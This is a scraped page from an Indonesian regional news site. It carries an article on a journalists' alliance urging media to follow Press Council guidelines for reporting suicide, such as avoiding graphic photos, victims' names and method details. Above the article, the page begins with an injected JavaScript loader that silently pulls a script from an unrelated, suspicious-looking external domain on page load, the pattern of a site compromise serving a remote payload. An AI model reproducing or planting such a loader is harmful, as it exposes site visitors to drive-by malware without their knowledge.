(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Aliansi Jurnalis Independen (AJI) Balikpapan Biro Banjarmasin mengimbau media massa untuk mematuhi pedoman pemberitaan terkait tindak dan upaya bunuh diri.
Ditemukan masih banyak media massa yang melanggar pedoman dengan menampilkan foto dan gambar korban dalam kondisi tragis pada aksi bunuh diri yang terjadi pada 30 September 2024 lalu di Kota Banjarbaru, Kalimantan Selatan.
Padahal, hal tersebut dapat menimbulkan trauma bagi masyarakat yang melihat atau menyaksikannya.
Selain itu, sejumlah media juga menuliskan secara rinci lokasi kejadian serta nama lengkap korban. Hal ini berpotensi membawa dampak sosial negatif bagi keluarga korban dan menambah beban psikologis mereka.
Baca juga: BBM Indonesia Terburuk di Asia Tenggara, Pemicu Polusi Udara Berbahaya
Tak hanya itu, beberapa media massa turut menyebutkan secara detail cara serta alat yang digunakan dalam aksi bunuh diri, baik di judul maupun isi berita. Hal ini berpotensi diikuti oleh orang yang membacanya.
“Pemberitaan bunuh diri sebaiknya diletakkan dalam konteks isu kesehatan jiwa, bukan sebagai isu kriminalitas. Sebab, kasus bunuh diri tidak disebabkan oleh faktor tunggal,” ujar Rendy Tisna, Koordinator AJI Balikpapan Biro Banjarmasin.
Adapun peraturan terkait pemberitaan bunuh diri telah ditetapkan oleh Dewan Pers pada 22 Maret 2019 melalui Peraturan Nomor 2/PERATURAN-DP/III/2019. Ada 20 aturan yang harus dipatuhi, di antaranya:
Baca juga: Modus Petinggi Bank Kalbar Korupsi Lahan Kantor Rp30 Miliar
Baca juga: Rumah Dinas Telkom Palangkaraya Terbakar
Baca juga: Ini 12 Program “JUARA” Unggulan Pasangan Aditya-Said Abdullah
Sesuai Undang-Undang No. 40 Tahun 1999 tentang Pers, media yang tidak melayani Hak Jawab selain melanggar Kode Etik Jurnalistik juga dapat dijatuhi sanksi hukum pidana denda hingga Rp500.000.000. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.